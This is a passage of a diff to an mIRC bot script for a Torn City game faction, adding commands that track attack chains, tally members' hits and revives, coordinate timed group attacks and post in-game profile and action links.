+          if (%hits > 0) { var %chanmsg = %chanmsg $+ $tc.col(2) $+ $chr(32) $+ %hits $tc.col(1) $+ hits }
+          else { var %chanmsg = %chanmsg $+ $chr(32) $+ $tc.col(7) $+ NO $tc.col(1) $+ hits }
+          if (%sm > 0) { 
+            if (%loss > 0 || %dko > 0) { var %chanmsg = %chanmsg $+ , stalemated $+ $tc.col(2) %sm }
+            else { var %chanmsg = %chanmsg $+ $chr(32) $+ and stalemated $+ $tc.col(2) %sm }
+          }
+          if (%sm > 1) { var %chanmsg = %chanmsg $+ $chr(32) $+ $tc.col(1) $+ times }
+          if (%sm == 1) { var %chanmsg = %chanmsg $+ $chr(32) $+ $tc.col(1) $+ time }
+          if (%dko > 0) { 
+            if (%loss > 0) { var %chanmsg = %chanmsg $+ , had $+ $tc.col(2) %dko }
+            else { var %chanmsg = %chanmsg $+ $chr(32) $+ and $+ $tc.col(2) %dko }
+          }
+          if (%dko > 1) { var %chanmsg = %chanmsg $+ $chr(32) $+ $tc.col(1) $+ DKOs }
+          if (%dko == 1) { var %chanmsg = %chanmsg $+ $chr(32) $+ $tc.col(1) $+ DKO }
+          if (%loss == 1) { var %chanmsg = %chanmsg $+ $chr(32) $+ and lost once }
+          if (%loss > 1) { var %chanmsg = %chanmsg $+ $chr(32) $+ and lost $+ $tc.col(2) %loss $tc.col(1) $+ times }
+          msg # %chanmsg $+ $chr(46)
+        }
+        else { msg # $tc.col(2) $+ %name $tc.col(1) $+ has not done any attacks this chain! }
+      }
+      if ($1 == !addatk || $1 == !addatks || $1 == !chgatk || $1 == !chgatks) {
+        if ($2 isnum && $3 == $null) { var %name = $nick | var %hits = $2 }
+        elseif ($2 isnum && $3 != $null) { var %name = $3 | var %hits = $2 }
+        elseif ($3 isnum) { var %name = $2 | var %hits = $3 }
+        else { msg # $tc.col(3) $+ Adds your name to the attack list. $tc.col(1) $+ Usage: $+ $tc.col(2) !addhits Hits $tc.col(1) $+ or $+ $tc.col(2) !addhits Name Hits | halt }  
+        hadd -m tc.atklist %name %hits
+        msg # $tc.col(2) $+ %name $+ $tc.col(1) $+ , I have added you to the attack list with $+ $tc.col(2) %hits $tc.col(1) $+ attacks!
+        .timer $+ 0.hitlistclr -co 1 $calc(20 * 60) tc.hitlistclr #
+      }   
+      if ($1 == Respect:) {
+        if (%tcchain.hits <= 0) { msg # $tc.col(5) $+ Noone has done any hits yet! | halt }
+        var %inp = $tc.cleanN($2)
+        if (%inp isnum) {         
+          if (%tcchain.hits < 10) { var %bonus = 0 }
+          if (%tcchain.hits >= 10 && %tcchain.hits < 25) { var %bonus = 10 }
+          if (%tcchain.hits >= 25 && %tcchain.hits < 50) { var %bonus = $calc(10 + 25) }
+          if (%tcchain.hits >= 50 && %tcchain.hits < 75) { var %bonus = $calc(10 + 25 + 50) }
+          if (%tcchain.hits >= 75 && %tcchain.hits < 100) { var %bonus = $calc(10 + 25 + 50 + 75) }
+          if (%tcchain.hits >= 100) { var %bonus = $calc(10 + 25 + 50 + 75 + 100) }
+          var %resp = $calc(%inp - %tcchain.startresp)
+          var %avgbonus = $round($calc(%resp / (%tcchain.hits + 1)),2)
+          var %avg = $round($calc((%resp - %bonus) / (%tcchain.hits + 1)),2)
+          msg # $tc.col(1) $+ So far, we have gained $+ $tc.col(2) $tc.addcomma(%resp) $tc.col(1) $+ respect this chain!
+          if (%tcchain.hits >= 10) { msg # $tc.col(1) $+ This works out to an average of $+ $tc.col(2) $tc.addcomma(%avg) $tc.col(1) $+ ( $+ $tc.col(2) $+ $tc.addcomma(%avgbonus) $tc.col(1) $+ with bonus) respect per hit! }
+          else { msg # $tc.col(1) $+ This works out to an average of $+ $tc.col(2) $tc.addcomma(%avg) $tc.col(1) $+ respect per hit! }
+        }    
+      }  
+    }
+
+    ; --- chain commands that do NOT require an active chain.
+
+    if ($1 == !viewatk || $1 == !viewatks || $1 == !atklist) { 
+      if ($hget(tc.atklist)) {
+        window -hn @atklisttally | window -hn @atklistsort
+        var %ptr = 1, %loop = $hget(tc.atklist,0).item
+        while (%ptr <= %loop) { aline @atklisttally $hget(tc.atklist,%ptr).item $hget(tc.atklist,%ptr).data | inc %ptr }
+        filter -twwceu 2 32 @atklisttally @atklistsort
+        msg # $tc.col(1) $+ List of attackers with remaining attacks:
+        var %ptr = 1 | var %loop = $line(@atklistsort,0) | var %chanlinenum = 1
+        while (%ptr <= %loop) {
+          var %name = $gettok($line(@atklistsort,%ptr),1,32), %hits = $gettok($line(@atklistsort,%ptr),2,32)
+          var %chanline = %chanline $+ $tc.col(2) %name $+ $tc.col(1) $+ - $+ $tc.col(2) %hits $tc.col(1) $+ hits $+ $chr(44)
+          inc %chanlinenum
+          if (%chanlinenum == 6) {
+            msg # %chanline
+            var %chanlinenum = 1, %chanline = $null
+          }
+          inc %ptr
+        }
+        if (%chanline != $null) { msg # $left(%chanline,$calc($len(%chanline) - 1)) $+ $chr(46) } 
+        window -c @atklisttally | window -c @atklistsort
+      }
+      else { msg # $tc.col(5) $+ There are no entries on the attack list! }
+    }
+    if ($1 == !clearattacks || $1 == !clearattack || $1 == !clratk || $1 == !clratks) {
+      if ($hget(tc.atklist)) { 
+        .timer $+ 0.hitlistclr off
+        hfree tc.atklist 
+        msg # $tc.col(5) $+ The attackers list has been cleared. 
+      }
+      else { msg # $tc.col(5) $+ There are no entries on the attack list! }
+    }
+    if ($1 == !delatk || $1 == !delatks) { 
+      if ($hget(tc.atklist)) { 
+        if ($2 != $null) { var %name = $2 }
+        else { var %name = $nick }
+        if ($hget(tc.atklist,%name)) {
+          hdel tc.atklist %name
+          if ($hget(tc.atklist,0).item == 0) { hfree tc.atklist | msg # $tc.col(1) $+ Last entry deleted, list is now empty. }
+          else { msg # $tc.col(1) $+ Removed $+ $tc.col(2) %name $tc.col(1) $+ from the attack list. }
+        }
+        else { msg # $tc.col(2) $+ %name $tc.col(5) $+ does not have any attacks stored! }
+      }
+      else { msg # $tc.col(5) $+ There are no entries on the attack list! }    
+    }
+    if ($istok(!chainhist !lastchain,$1,32)) {
+      if ($timer(0.tcflag.spam)) { msg # $tc.col(5) $+ No can do, too many requests too often. You can try again in $+ $tc.col(2) $timer(0.tcflag.spam).secs $tc.col(5) $+ seconds. | halt }      
+      if ($1 == !chainhist) { if ($2 isnum) { var %chid = $2 } | else { msg # $tc.col(3) $+ Displays historical chain summary. $tc.col(1) $+ Usage: $+ $tc.col(2) !chainhist ChainID | halt } }
+      if ($1 == !lastchain) { var %chid = $readini($tc.cfgfile,n,Chain,id) }
+      var %logfile $tc.chlogfile(%chid)
+      if (!$exists(%logfile)) { msg # $tc.col(5) $+ Chain $+ $tc.col(2) $2 $tc.col(5) $+ doesn't exist. | halt }
+      hmake tc.suminfo 100 | hload tc.suminfo %logfile 
+      var %summ = $hget(tc.suminfo,s)
+      msg # $tc.col(1) $+ Chain $+ $tc.col(2) %chid $tc.col(1) $+ ended with $+ $tc.col(2) $gettok(%summ,3,32) $tc.col(1) $+ hits and $+ $tc.col(2) $gettok(%summ,4,32) $tc.col(1) $+ losses.
+      msg # $tc.col(1) $+ The chain started on $+ $tc.col(2) $asctime($gettok(%summ,5,32),mmm d yyyy) $tc.col(1) $+ at $+ $tc.col(2) $asctime($gettok(%summ,5,32),h:nn tt) $tc.col(1) $+ and ended at $+ $tc.col(2) $asctime($gettok(%summ,6,32),h:nn tt) $tc.col(1) $+ (TC time), so it lasted for $+ $tc.col(2) $duration($calc($gettok(%summ,6,32) - $gettok(%summ,5,32))) $+ $tc.col(1) $+ .
+      msg # $tc.col(1) $+ We started with $+ $tc.col(2) $tc.addComma($gettok(%summ,1,32)) $tc.col(1) $+ respect and ended with $+ $tc.col(2) $tc.addComma($gettok(%summ,2,32)) $+ $tc.col(1) $+ , so our change was $+ $tc.col(2) $tc.addComma($calc($gettok(%summ,2,32) - $gettok(%summ,1,32))) $tc.col(1) $+ respect! We averaged $+ $tc.col(2) $tc.addComma($floor($calc(($gettok(%summ,2,32) - $gettok(%summ,1,32)) / $gettok(%summ,3,32)))) $tc.col(1) $+ respect per hit.
+      hfree tc.suminfo
+      tc.chainpost # %chid
+      .timer0.tcflag.spam 1 $tc.gcd noop
+    }
+    if ($1 == !chainmonth) {
+      if ($timer(0.tcflag.spam)) { msg # $tc.col(5) $+ No can do, too many requests too often. You can try again in $+ $tc.col(2) $timer(0.tcflag.spam).secs $tc.col(5) $+ seconds. | halt }
+      if (%tcchain.stchan != $null) { msg # $tc.col(5) $+ Nope, too spammy. Try it after the chain's over. :P | halt }
+      if ($2 != $null) {
+        var %mnchk = $left($2,3)
+        if (%mnchk == Jan) { var %month = 01 } | if (%mnchk == Feb) { var %month = 02 } | if (%mnchk == Mar) { var %month = 03 }
+        if (%mnchk == Apr) { var %month = 04 } | if (%mnchk == May) { var %month = 05 } | if (%mnchk == Jun) { var %month = 06 }
+        if (%mnchk == Jul) { var %month = 07 } | if (%mnchk == Aug) { var %month = 08 } | if (%mnchk == Sep) { var %month = 09 }
+        if (%mnchk == Oct) { var %month = 10 } | if (%mnchk == Nov) { var %month = 11 } | if (%mnchk == Dec) { var %month = 12 }
+      }
+      if (%month == $null) { var %month = $asctime($tc.time,mm) }
+      if (%month == 01) { var %mnpost = January } | if (%month == 02) { var %mnpost = February } | if (%month == 03) { var %mnpost = March } 
+      if (%month == 04) { var %mnpost = April } | if (%month == 05) { var %mnpost = May } | if (%month == 06) { var %mnpost = June } 
+      if (%month == 07) { var %mnpost = July } | if (%month == 08) { var %mnpost = August } | if (%month == 09) { var %mnpost = September }  
+      if (%month == 10) { var %mnpost = October } | if (%month == 11) { var %mnpost = November } | if (%month == 12) { var %mnpost = December } 
+      if ($3 isnum) { var %year = $3 } | else { var %year = $asctime($tc.time,yyyy) }      
+      var %fileloc = $tc.cmlogfile(%year,%month)
+      if (!$exists(%fileloc)) { msg # $tc.col(5) $+ There is no monthly data stored for $+ $tc.col(2) %mnpost %year $+ $tc.col(5) $+ ! | halt }       
+      hmake tc.chainmonth 100
+      hload tc.chainmonth %fileloc      
+      window -hn @chainmonthtally | window -hn @chainmonthsort
+      var %ptr = 1, %loop = $hget(tc.chainmonth,0).item
+      while (%ptr <= %loop) {
+        var %id = $hget(tc.chainmonth,%ptr).item, %name = $tc.getname(%id)        
+        if (%name == $null) { var %name = $tc.colid(%id,8,8) }
+        var %hits = $gettok($hget(tc.chainmonth,%id),1,32)
+        if (%hits > 0) { aline @chainmonthtally %name %hits }
+        inc %ptr
+      }
+      filter -twwceu 2 32 @chainmonthtally @chainmonthsort
+      msg # $tc.col(1) $+ List of chainers for: $+ $tc.col(2) %mnpost %year
+      var %ptr = 1, %loop = $line(@chainmonthsort,0), %hitstot = 0, %chanlinenum = 1
+      while (%ptr <= %loop) {
+        var %read = $line(@chainmonthsort,%ptr)
+        var %name = $gettok(%read,1,32), %hits = $gettok(%read,2,32)
+        if (%hits > 0) {
+          var %hitstot = $calc(%hitstot + %hits)
+          var %chanline = %chanline $+ $tc.col(6) %name $tc.col(1) $+ $chr(60) $+ $tc.col(2) $+ $tc.addComma(%hits) $+ $tc.col(1) $+ $chr(62) $+ $chr(44)
+          inc %chanlinenum
+          if (%chanlinenum == 10) {
+            msg # %chanline
+            var %chanlinenum = 1, %chanline = $null
+          }
+        }
+        inc %ptr
+      }
+      if (%chanline != $null) { msg # $left(%chanline,$calc($len(%chanline) - 1)) $+ $chr(46) } 
+      msg # $tc.col(1) $+ That's a total of $+ $tc.col(2) %loop $tc.col(1) $+ attackers and $+ $tc.col(2) $tc.addComma(%hitstot) $tc.col(1) $+ attacks! 
+      .timer0.tcflag.spam 1 $tc.gcd noop
+      hfree tc.chainmonth | window -c @chainmonthtally | window -c @chainmonthsort
+    }
+    if ($1 == !mymonth) {
+      var %id = $tc.getid($nick), %name = $tc.getname(%id)
+      if (%id == $null) { msg # $tc.col(5) $+ There is no saved ID for $+ $tc.col(2) $nick $+ $tc.col(5) $+ ! | halt }      
+      if ($2 != $null) {
+        var %mnchk = $left($2,3)
+        if (%mnchk == Jan) { var %month = 01 } | if (%mnchk == Feb) { var %month = 02 } | if (%mnchk == Mar) { var %month = 03 }
+        if (%mnchk == Apr) { var %month = 04 } | if (%mnchk == May) { var %month = 05 } | if (%mnchk == Jun) { var %month = 06 }
+        if (%mnchk == Jul) { var %month = 07 } | if (%mnchk == Aug) { var %month = 08 } | if (%mnchk == Sep) { var %month = 09 }
+        if (%mnchk == Oct) { var %month = 10 } | if (%mnchk == Nov) { var %month = 11 } | if (%mnchk == Dec) { var %month = 12 }
+      }
+      if (%month == $null) { var %month = $asctime($tc.time,mm) }
+      if (%month == 01) { var %mnpost = January } | if (%month == 02) { var %mnpost = February } | if (%month == 03) { var %mnpost = March } 
+      if (%month == 04) { var %mnpost = April } | if (%month == 05) { var %mnpost = May } | if (%month == 06) { var %mnpost = June } 
+      if (%month == 07) { var %mnpost = July } | if (%month == 08) { var %mnpost = August } | if (%month == 09) { var %mnpost = September }  
+      if (%month == 10) { var %mnpost = October } | if (%month == 11) { var %mnpost = November } | if (%month == 12) { var %mnpost = December } 
+      if ($3 isnum) { var %year = $3 } | else { var %year = $asctime($tc.time,yyyy) }      
+      var %fileloc = $tc.cmlogfile(%year,%month)
+      if (!$exists(%fileloc)) { msg # $tc.col(5) $+ There is no monthly data stored for $+ $tc.col(2) %mnpost %year $+ $tc.col(5) $+ ! | halt }       
+      hmake tc.mymonth 100 | hload tc.mymonth %fileloc      
+      var %hits = $gettok($hget(tc.mymonth,%id),1,32)
+      if (%hits > 0) { msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , you have made $+ $tc.col(2) $tc.addComma(%hits) $tc.col(1) $+ hits for $+ $tc.col(2) $+(%mnpost,$chr(32),%year) $+ $tc.col(1) $+ . $tc.col(1) $+ To see a tally of everyones hits for this month, type $+ $tc.col(3) !chainmonth }
+      else { msg # $tc.col(5) $+ You haven't made any hits for $+ $tc.col(2) $+(%mnpost,$chr(32),%year) $+ $tc.col(5) $+ ! }
+      hfree tc.mymonth
+    }
+
+    if ($1 == !warresp) {
+      if ($2 == reset) {
+        var %inp = $remove($3,$chr(44))
+        if (%inp isnum) {
+          tc.chkaccess wartally $nick #
+          msg # $tc.col(1) $+ New saved respect marker is now at $+ $tc.col(2) $tc.addcomma(%inp) $tc.col(1) $+ respect.
+          writeini -n $tc.cfgfile Chain warresp %inp | flushini $tc.cfgfile
+        }
+        else { msg # $tc.col(5) $+ Don't know what that means, try: $+ $tc.col(2) !warresp FactionRespect $tc.col(5) $+ to view current respect marker, or $+ $tc.col(2) !warresp reset FactionRespect $tc.col(5) $+ to reset it. }
+      }
+      else { 
+        var %inp = $remove($2,$chr(44))
+        if (%inp isnum) { msg # $tc.col(1) $+ So far, we have gained $+ $tc.col(2) $tc.addcomma($calc(%inp - $readini($tc.cfgfile,n,Chain,warresp))) $tc.col(1) $+ total respect! }
+        else { msg # $tc.col(1) $+ So far, we have gained $+ $tc.col(2) $tc.addcomma($calc($readini($tc.cfgfile,n,Chain,resp) - $readini($tc.cfgfile,n,Chain,warresp))) $tc.col(1) $+ total respect! }
+      }
+    }
+    if ($1 == !wartally) {
+      if ($2 == reset) {
+        tc.chkaccess wartally $nick #
+        if (%tcchain.chid != $null) { var %chid = %tcchain.chid, %msg = the current chain ( $+ $tc.col(2) $+ %chid $+ $tc.col(2) $+ ) }
+        else { var %chid = $readini($tc.cfgfile,n,Chain,id), %msg = chain $+ $tc.col(2) %chid }
+        if ($3 isnum && $3 <= %chid && $3 >= 1) { var %chainid = $3, %msg = chain $+ $tc.col(2) $3 }
+        else { var %chainid = %chid }
+        writeini -n $tc.cfgfile Chain wartally %chainid | flushini $tc.cfgfile
+        msg # $tc.col(1) $+ War tally reset for %msg
+        halt
+      }
+      if (%tcchain.stchan != $null) { msg # $tc.col(5) $+ Nope, too spammy. Try it after the chain's over. :P | halt }
+      if ($timer(0.tcflag.spam)) { msg # $tc.col(5) $+ No can do, too many requests too often. You can try again in $+ $tc.col(2) $timer(0.tcflag.spam).secs $tc.col(5) $+ seconds. }      
+      else {
+        msg # $tc.col(1) $+ Reading & sorting data, one sec...
+        var %mark = $readini($tc.cfgfile,n,Chain,wartally)
+        if (%mark == 0 || %mark == $null) { msg # $tc.col(5) $+ There is no marker set for !wartally, use $+ $tc.col(2) !wartally reset $tc.col(5) $+ to set . | halt }        
+        var %ptr = %mark, %maxloop = $readini($tc.cfgfile,n,Chain,id)
+        if ($exists($tc.chlogfile($calc(%maxloop + 1)))) { inc %maxloop }
+        if (%maxloop == 0) { msg # $tc.col(5) $+ There have been no chains recorded yet! | halt }
+        hmake tc.wartally 100
+        while (%ptr <= %maxloop) {
+          hmake tc.wttemp
+          hload tc.wttemp $tc.chlogfile(%ptr)
+          var %wptr = 1, %wend = $hget(tc.wttemp,0).item
+          while (%wptr <= %wend) {
+            var %key = $hget(tc.wttemp,%wptr).item, %val = $hget(tc.wttemp,%key)
+            if (%key != s) {
+              var %old = $hget(tc.wartally,%key)
+              if (%old != $null) { var %oh = $gettok(%old,1,32), %ol = $gettok(%old,2,32), %od = $gettok(%old,3,32), %os = $gettok(%old,4,32) }
+              else { var %oh = 0, %ol = 0, %od = 0, %os = 0 }
+              var %ah = $gettok(%val,1,32), %al = $gettok(%val,2,32), %ad = $gettok(%val,3,32), %as = $gettok(%val,4,32) 
+              var %nh = $calc(%oh + %ah), %nl = $calc(%ol + %al), %nd = $calc(%od + %ad), %ns = $calc(%os + %as)              
+              hadd tc.wartally %key %nh %nl %nd %ns
+            }
+            inc %wptr
+          }
+          hfree tc.wttemp
+          inc %ptr
+        }
+        if ($hget(tc.wartally,0).item == 0) { 
+          msg # $tc.col(5) $+ There haven't been any chains since last reset!
+          hfree tc.wartally
+          halt
+        }
+        window -hn @wartally | window -hn @wartallysort
+        var %ptr = 1, %loop = $hget(tc.wartally,0).item
+        while (%ptr <= %loop) {
+          var %name = $tc.getname($hget(tc.wartally,%ptr).item)
+          if (%name == $null) { var %name = $tc.colid($hget(tc.wartally,%ptr).item,8,8) }
+          if ($hget(tc.wartally,%ptr).data > 0) { aline @wartally %name $hget(tc.wartally,%ptr).data }
+          inc %ptr
+        }
+        filter -twwceu 2 32 @wartally @wartallysort
+        msg # $tc.col(1) $+ List of chainers that participated from chain $+ $tc.col(2) %mark $tc.col(1) $+ to $+ $tc.col(2) %maxloop
+        var %ptr = 1, %loop = $line(@wartallysort,0), %hitstot = 0, %chanlinenum = 1
+        while (%ptr <= %loop) {
+          var %read = $line(@wartallysort,%ptr)
+          var %name = $gettok(%read,1,32), %hits = $gettok(%read,2,32)
+          if (%hits > 0) {
+            var %hitstot = $calc(%hitstot + %hits)
+            var %chanline = %chanline $+ $tc.col(6) %name $tc.col(1) $+ $chr(60) $+ $tc.col(2) $+ $tc.addComma(%hits) $+ $tc.col(1) $+ $chr(62) $+ $chr(44)
+            inc %chanlinenum
+            if (%chanlinenum == 10) {
+              msg # %chanline
+              var %chanlinenum = 1
+              var %chanline = $null
+            }
+          }
+          inc %ptr
+        }
+        if (%chanline != $null) { msg # $left(%chanline,$calc($len(%chanline) - 1)) $+ $chr(46) } 
+        msg # $tc.col(1) $+ That's a total of $+ $tc.col(2) %loop $tc.col(1) $+ attackers and $+ $tc.col(2) $tc.addComma(%hitstot) $tc.col(1) $+ attacks! 
+        .timer0.tcflag.spam 1 $tc.gcd noop
+        hfree tc.wartally | window -c @wartally | window -c @wartallysort
+      }
+    }
+    if ($1 == !revtally) {
+      if ($timer(0.tcflag.spam)) { msg # $tc.col(5) $+ No can do, too many requests too often. You can try again in $+ $tc.col(2) $timer(0.tcflag.spam).secs $tc.col(5) $+ seconds. }      
+      else {
+        if ($2 == $null) { msg # $tc.col(3) $+ Displays a tally of revivers. $tc.col(1) $+ Usage: $+ $tc.col(2) !revtally Start End $tc.col(1) $+ (end is optional, if omitted will go from start until latest chain) | halt }
+        var %maxloop = $readini($tc.cfgfile,n,Chain,id)
+        if ($exists($tc.chlogfile($calc(%maxloop + 1)))) { inc %maxloop }
+        if (%maxloop == 0) { msg # $tc.col(5) $+ There have been no chains recorded yet! | halt }
+        if ($2 isnum) { var %ptr = $2, %start = $2 } | else { var %ptr = 1, %start = 1 }
+        if ($3 isnum && $3 <= %maxloop) { var %end = $3 } | else { var %end = %maxloop }            
+        msg # $tc.col(1) $+ Reading & sorting data, one sec... 
+        if ($hget(tc.revtally)) { hfree tc.revtally }      
+        hmake tc.revtally 100
+        while (%ptr <= %end) {
+          hmake tc.rttemp
+          hload tc.rttemp $tc.chlogfile(%ptr)
+          var %rptr = 1, %rend = $hget(tc.rttemp,0).item
+          while (%rptr <= %rend) {
+            var %key = $hget(tc.rttemp,%rptr).item, %val = $hget(tc.rttemp,%key)
+            if (%key != s) {
+              var %revadd = $gettok(%val,5,32), %old = $hget(tc.revtally,%key)
+              if (%revadd > 0) { hadd tc.revtally %key $calc(%old + %revadd) }
+            }
+            inc %rptr
+          }
+          hfree tc.rttemp
+          inc %ptr
+        }
+        if ($hget(tc.revtally,0).item == 0) { 
+          msg # $tc.col(5) $+ There haven't been any revivers between chains $+ $tc.col(2) %start $tc.col(5) $+ and $+ $tc.col(2) %end $+ $tc.col(5) $+ !
+          hfree tc.revtally
+          halt
+        }
+        window -hn @revtally | window -hn @revtallysort
+        var %ptr = 1, %loop = $hget(tc.revtally,0).item
+        while (%ptr <= %loop) {
+          var %name = $tc.getname($hget(tc.revtally,%ptr).item)
+          if (%name == $null) { var %name = $tc.colid($hget(tc.revtally,%ptr).item,8,8) }
+          if ($hget(tc.revtally,%ptr).data > 0) { aline @revtally %name $hget(tc.revtally,%ptr).data }
+          inc %ptr
+        }
+        filter -twwceu 2 32 @revtally @revtallysort
+        msg # $tc.col(1) $+ List of revivers since chains $+ $tc.col(2) %start $tc.col(1) $+ and $+ $tc.col(2) %end $+ $tc.col(1) $+ .
+        var %ptr = 1, %loop = $line(@revtallysort,0), %hitstot = 0, %chanlinenum = 1
+        while (%ptr <= %loop) {
+          var %read = $line(@revtallysort,%ptr), %name = $gettok(%read,1,32), %hits = $gettok(%read,2,32), %hitstot = $calc(%hitstot + %hits)
+          var %chanline = %chanline $+ $tc.col(2) %name $tc.col(1) $+ - $+ $tc.col(2) $tc.addComma(%hits) $tc.col(1) $+ revives $+ $chr(44)
+          inc %chanlinenum
+          if (%chanlinenum == 7) {
+            msg # %chanline
+            var %chanlinenum = 1
+            var %chanline = $null
+          }
+          inc %ptr
+        }
+        if (%chanline != $null) { msg # $left(%chanline,$calc($len(%chanline) - 1)) $+ $chr(46) } 
+        msg # $tc.col(1) $+ That's a total of $+ $tc.col(2) %loop $tc.col(1) $+ revivers and $+ $tc.col(2) $tc.addComma(%hitstot) $tc.col(1) $+ revives! 
+        .timer0.tcflag.spam 1 $tc.gcd noop
+        window -c @revtally | window -c @revtallysort | hfree tc.revtally
+      }
+    }
+
+    ; --------------------------------- Group attack commands ---------------------------------
+
+    ; Commands that work when group attack started
+    if (%tcgroup.starter != $null) {
+      if ($1 == !go) {
+        msg # $tc.col(6) $+ It's go time! Last post: open $+ $tc.col(2) $tc.atklink(%tcgroup.targ) $tc.col(6) $+ but $+ $tc.col(4) DO NOT CLICK START YET! $tc.col(6) $+ - 10 seconds to start!
+        msg # $tc.col(1) $+ Attackers: $+ $tc.col(2) %tcgroup.part
+        .timer0.tcgroup1 1 5 msg # $tc.col(1) $+ Five seconds to attack!
+        .timer0.tcgroup2 1 7 msg # $tc.col(1) $+ Three seconds... be ready!
+        .timer0.tcgroup3 1 8 msg # $tc.col(1) $+ Two...
+        .timer0.tcgroup4 1 9 msg # $tc.col(2) $+ ONE...
+        .timer0.tcgroup5 1 10 tc.groupatk #
+      }
+      if ($1 == !in) {
+        if (!$istok(%tcgroup.part,$nick,32)) { 
+          set %tcgroup.part $addtok(%tcgroup.part,$nick,32) 
+          msg # $tc.col(2) $+ $nick $+ $tc.col(1) has joined in the fun! - open $+ $tc.col(2) $tc.atklink(%tcgroup.targ) $tc.col(1) $+ but $+ $tc.col(4) DO NOT CLICK START YET!    
+        }
+        else {
+          msg # $tc.col(5) $+ I've already got you in the list $tc.col(2) $+ $nick $+ $tc.col(5) - open $+ $tc.col(2) $tc.atklink(%tcgroup.targ) $tc.col(5) $+ but $+ $tc.col(4) DO NOT CLICK START YET!    
+        }
+      }
+      if ($1 == !gcancel) {
+        unset %tcgroup.*
+        msg # $tc.col(1) $+ The group attack has been called off by $+ $tc.col(2) $nick
+      }    
+    }
+
+    if ($istok(!gstart !gattack !groupstart !groupattack,$1,32)) {
+      if ($2 != $null) {
+        if (%tcgroup.starter == $null) {
+          if ($2 isnum) { var %id = $2 } | else { var %id = $tc.getid($2) }
+          if (%id isnum) {
+            set %tcgroup.starter $nick
+            set %tcgroup.targ %id
+            set %tcgroup.part $null
+            msg # $tc.col(2) $+ $nick $+ $tc.col(1) has initiated a group attack vs ID $tc.colid(%id,1,2) $+ ! 
+            msg # $tc.col(4) $+ Type $+ $tc.col(2) !in $tc.col(4) $+ to join in the fun. Once everyone has joined, type $+ $tc.col(2) !go $tc.col(4) $+ to initiate the countdown for the attack! To cancel: use $+ $tc.col(2) !gcancel          
+          }
+          else { msg # $tc.col(5) $+ Do not know who $+ $tc.col(2) $2 $tc.col(5) $+ is. }
+        }
+        else { msg # $tc.col(5) $+ No can do, there's already a group attack started by $+ $tc.col(2) %tcgroup.starter $tc.col(5) $+ against $+ $tc.col(2) %tcgroup.targ $+ $tc.col(5) $+ ! }
+      }
+      else { msg # $tc.col(3) $+ Initiates a group attack on person. $+ $tc.col(1) Usage: $+ $tc.col(2) !gstart Name/ID }
+    }
+
+    ; --------------------------------- link lookup code, ie: !bust ---------------------------------
+
+    if ($istok(!id !bust !bail !bazaar !pstats !display !trade !cash !money !mail !msg !message !attack !atk !mug !bounty !friend !friendlist !flist !enemy !blacklist !blist,$1,32)) {
+      if ($2 == $null) { var %searchnick = $nick }
+      else { var %searchnick = $2 }
+      var %retid = $tc.getid(%searchnick)
+      if (%retid == $null) { msg # $tc.col(5) $+ Sorry, I have no idea who $+ $tc.col(2) %searchnick $tc.col(5) $+ is! } 
+      else { 
+        var %ret = $tc.getname(%retid)
+        if ($1 == !id) { 
+          if (%searchnick != $nick) { msg # $tc.col(2) $+ %searchnick $+ $tc.col(1) $+ 's stored ID is $+ $tc.col(2) %ret $tc.colid(%retid,1,2) - Profile link: $+ $tc.col(2) $tc.proflink(%retid) }
+          else { msg # $tc.col(1) $+ Your stored ID is $+ $tc.col(2) %ret $tc.colid(%retid,1,2) - Profile link: $+ $tc.col(2) $tc.proflink(%retid) }
+        } 
+        if ($1 == !bust) { msg # $tc.col(1) $+ Bust $+ $tc.col(2) %ret $tc.colid(%retid,1,2) out of jail! - $+ $tc.col(2) $tc.bustlink(%retid) } 
+        if ($1 == !bail) { msg # $tc.col(1) $+ Bail $+ $tc.col(2) %ret $tc.colid(%retid,1,2) out of jail! - $+ $tc.col(2) $tc.baillink(%retid) } 
+        if ($1 == !bazaar) { msg # $tc.col(1) $+ Visit $+ $tc.col(2) %ret $tc.colid(%retid,1,2) $+ 's bazaar! - $+ $tc.col(2)  $tc.bazaarlink(%retid) }
+        if ($1 == !pstats) { msg # $tc.col(1) $+ View $+ $tc.col(2) %ret $tc.colid(%retid,1,2) $+ 's personal stats! - $+ $tc.col(2) $tc.pstatslink(%retid) } 
+        if ($1 == !display) { msg # $tc.col(1) $+ View $+ $tc.col(2) %ret $tc.colid(%retid,1,2) $+ 's display case! - $+ $tc.col(2) $tc.dcaselink(%retid) } 
+        if ($1 == !trade) { msg # $tc.col(1) $+ Trade with $+ $tc.col(2) %ret $tc.colid(%retid,1,2) $+ ! - $+ $tc.col(2) $tc.tradelink(%retid) } 
+        if ($1 == !cash || $1 == !money) { msg # $tc.col(1) $+ Send cash to $+ $tc.col(2) %ret $tc.colid(%retid,1,2) $+ ! - $+ $tc.col(2) $tc.cashlink(%retid) } 
+        if ($1 == !mail || $1 == !msg || $1 == !message) { msg # $tc.col(1) $+ Send a message to $+ $tc.col(2) %ret $tc.colid(%retid,1,2) $+ ! - $+ $tc.col(2) $tc.maillink(%retid) } 
+        if ($1 == !attack || $1 == !atk) { msg # $tc.col(1) $+ Attack $+ $tc.col(2) %ret $tc.colid(%retid,1,2) $+ ! - $+ $tc.col(2) $tc.atklink(%retid) } 
+        if ($1 == !mug) { msg # $tc.col(1) $+ Mug $+ $tc.col(2) %ret $tc.colid(%retid,1,2) $+ ! - $+ $tc.col(2) $tc.atklink(%retid) } 
+        if ($1 == !bounty) { msg # $tc.col(1) $+ Bounty $+ $tc.col(2) %ret $tc.colid(%retid,1,2) $+ ! - $+ $tc.col(2) $tc.bountylink(%retid) } 
+        if ($1 == !friend || $1 == !friendlist || $1 == !flist) { msg # $tc.col(1) $+ Add $+ $tc.col(2) %ret $tc.colid(%retid,1,2) to your $tc.col(6) $+ friends list $+ $tc.col(1) $+ ! - $+ $tc.col(2) $tc.flistlink(%retid) }
+        if ($1 == !enemy || $1 == !blacklist || $1 == !blist) { msg # $tc.col(1) $+ Add $+ $tc.col(2) %ret $tc.colid(%retid,1,2) to your $tc.col(7) $+ blacklist $+ $tc.col(1) $+ ! - $+ $tc.col(2) $tc.blistlink(%retid) }
+      }
+    }
+    if ($1 == !attackid || $1 == !atkid) { 
+      if ($2 isnum) { 
+        var %idchk = $tc.getname($2)
+        if (%idchk != $null) { var %idpost = $tc.col(2) $+ %idchk }
+        else { var %idpost = $tc.colid($2,1,2) }
+        msg # $tc.col(1) $+ Attack %idpost $+ $tc.col(1) $+ ! - $+ $tc.col(2) $tc.atklink($2)
+      }
